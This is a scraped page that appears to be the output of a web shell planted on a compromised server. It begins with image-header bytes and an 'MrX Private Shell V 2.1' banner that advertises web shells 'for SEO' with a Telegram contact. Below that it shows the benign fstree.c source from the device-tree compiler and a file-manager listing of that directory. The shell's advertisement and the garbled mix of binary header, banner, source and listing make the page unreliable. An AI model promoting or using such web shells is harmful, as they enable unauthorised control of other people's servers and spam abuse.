����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
// SPDX-License-Identifier: GPL-2.0-or-later
/*
* (C) Copyright David Gibson <dwg@au1.ibm.com>, IBM Corporation. 2005.
*/
#include "dtc.h"
#include <dirent.h>
#include <sys/stat.h>
static struct node *read_fstree(const char *dirname)
{
DIR *d;
struct dirent *de;
struct stat st;
struct node *tree;
d = opendir(dirname);
if (!d)
die("Couldn't opendir() \"%s\": %s\n", dirname, strerror(errno));
tree = build_node(NULL, NULL, NULL);
while ((de = readdir(d)) != NULL) {
char *tmpname;
if (streq(de->d_name, ".")
|| streq(de->d_name, ".."))
continue;
tmpname = join_path(dirname, de->d_name);
if (stat(tmpname, &st) < 0)
die("stat(%s): %s\n", tmpname, strerror(errno));
if (S_ISREG(st.st_mode)) {
struct property *prop;
FILE *pfile;
pfile = fopen(tmpname, "rb");
if (! pfile) {
fprintf(stderr,
"WARNING: Cannot open %s: %s\n",
tmpname, strerror(errno));
} else {
prop = build_property(xstrdup(de->d_name),
data_copy_file(pfile,
st.st_size),
NULL);
add_property(tree, prop);
fclose(pfile);
}
} else if (S_ISDIR(st.st_mode)) {
struct node *newchild;
newchild = read_fstree(tmpname);
newchild = name_node(newchild, xstrdup(de->d_name));
add_child(tree, newchild);
}
free(tmpname);
}
closedir(d);
return tree;
}
struct dt_info *dt_from_fs(const char *dirname)
{
struct node *tree;
tree = read_fstree(dirname);
tree = name_node(tree, "");
return build_dt_info(DTSF_V1, NULL, tree, guess_boot_cpuid(tree));
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| include-prefixes | Folder | 0755 |
|
|
| libfdt | Folder | 0755 |
|
|
| Makefile | File | 1.62 KB | 0644 |
|
| checks.c | File | 50.31 KB | 0644 |
|
| data.c | File | 4.51 KB | 0644 |
|
| dt_to_config | File | 40.8 KB | 0755 |
|
| dtc-lexer.l | File | 6.14 KB | 0644 |
|
| dtc-parser.y | File | 10.56 KB | 0644 |
|
| dtc.c | File | 9.31 KB | 0644 |
|
| dtc.h | File | 8.91 KB | 0644 |
|
| dtx_diff | File | 8.98 KB | 0755 |
|
| fdtget.c | File | 7.92 KB | 0644 |
|
| fdtoverlay.c | File | 4.24 KB | 0644 |
|
| fdtput.c | File | 7.69 KB | 0644 |
|
| flattree.c | File | 21.46 KB | 0644 |
|
| fstree.c | File | 1.52 KB | 0644 |
|
| livetree.c | File | 20.31 KB | 0644 |
|
| srcpos.c | File | 8.57 KB | 0644 |
|
| srcpos.h | File | 2.88 KB | 0644 |
|
| treesource.c | File | 6.83 KB | 0644 |
|
| update-dtc-source.sh | File | 2.53 KB | 0755 |
|
| util.c | File | 8.5 KB | 0644 |
|
| util.h | File | 6.96 KB | 0644 |
|
| version_gen.h | File | 42 B | 0644 |
|
| yamltree.c | File | 6.21 KB | 0644 |
|